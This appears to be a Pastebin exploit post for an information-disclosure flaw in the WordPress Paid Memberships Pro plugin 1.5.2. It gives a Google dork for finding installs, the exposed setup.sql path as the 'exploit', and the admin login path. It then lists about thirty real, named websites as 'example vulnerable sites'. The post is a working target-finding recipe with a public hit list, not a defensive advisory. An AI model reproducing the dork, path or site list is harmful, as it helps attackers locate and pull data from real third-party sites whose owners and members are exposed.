Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #################################################################################################
- # Exploit Title : WordPress paid-memberships-pro Plugins 1.5.2 Database Backup Information Disclosure Vulnerability
- # Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security Army
- # Date : 23/11/2018
- # Vendor Homepage : paidmembershipspro.com/update-1-5-2/ ~ wordpress.org/plugins/pmpro-bbpress/
- # Tested On : Windows and Linux
- # Software Download Link : github.com/strangerstudios/paid-memberships-pro/archive/dev.zip
- # Category : WebApps
- # Version Information : 1.5.2
- # Google Dorks : inurl:''/wp-content/plugins/paid-memberships-pro/''
- # Exploit Risk : Medium
- # CWE : CWE-264 - [ Permissions, Privileges, and Access Controls ]
- CWE-23 - [ Relative Path Traversal ] - CWE-200 [ Information Exposure ]
- CWE-530 [ Exposure of Backup File to an Unauthorized Control Sphere ]
- #################################################################################################
- -- phpMyAdmin SQL Dump
- -- version 2.8.2.4
- -- phpmyadmin.net
- -- Host: localhost:3306
- -- Server version: 5.1.57
- -- PHP Version: 5.2.6
- -- PMPro Version: 1.5.2
- #################################################################################################
- # Admin Panel Login Path :
- /wp-login.php
- # Exploit :
- /wp-content/plugins/paid-memberships-pro/includes/setup.sql
- #################################################################################################
- # Example Vulnerable Sites =>
- [+] naswithnotepads.com/community/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] everymantheatre.co.uk/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] kelleysislandchamber.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] pantrydr.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] crestet.fr/v3/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] madacademy.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] nations-emergentes.org/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] spicon.net/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] travelersunited.org/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] geocaching.se/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] ceohangout.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] frettatiminn.is/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] egale.ca/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] ambulance.org/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] bouldercast.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] ccpaa.ca/site/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] arduinostartups.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] thelocalcoffeehouse.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] thedigitalhorse.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] beobfilms.com/film-revolution/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] sfpma.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] eskisehirgelisim.org/magnimind.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] wildasia.org/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] fuerteventura.one/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] mygrapefruit.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] ketosiscookbook.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] grupog3cr.com/farmacias/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] idschool.com.br/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] krutrainingsystems.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- [+] usalivestream.com/wp-content/plugins/paid-memberships-pro/includes/setup.sql
- #################################################################################################
- # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
- #################################################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement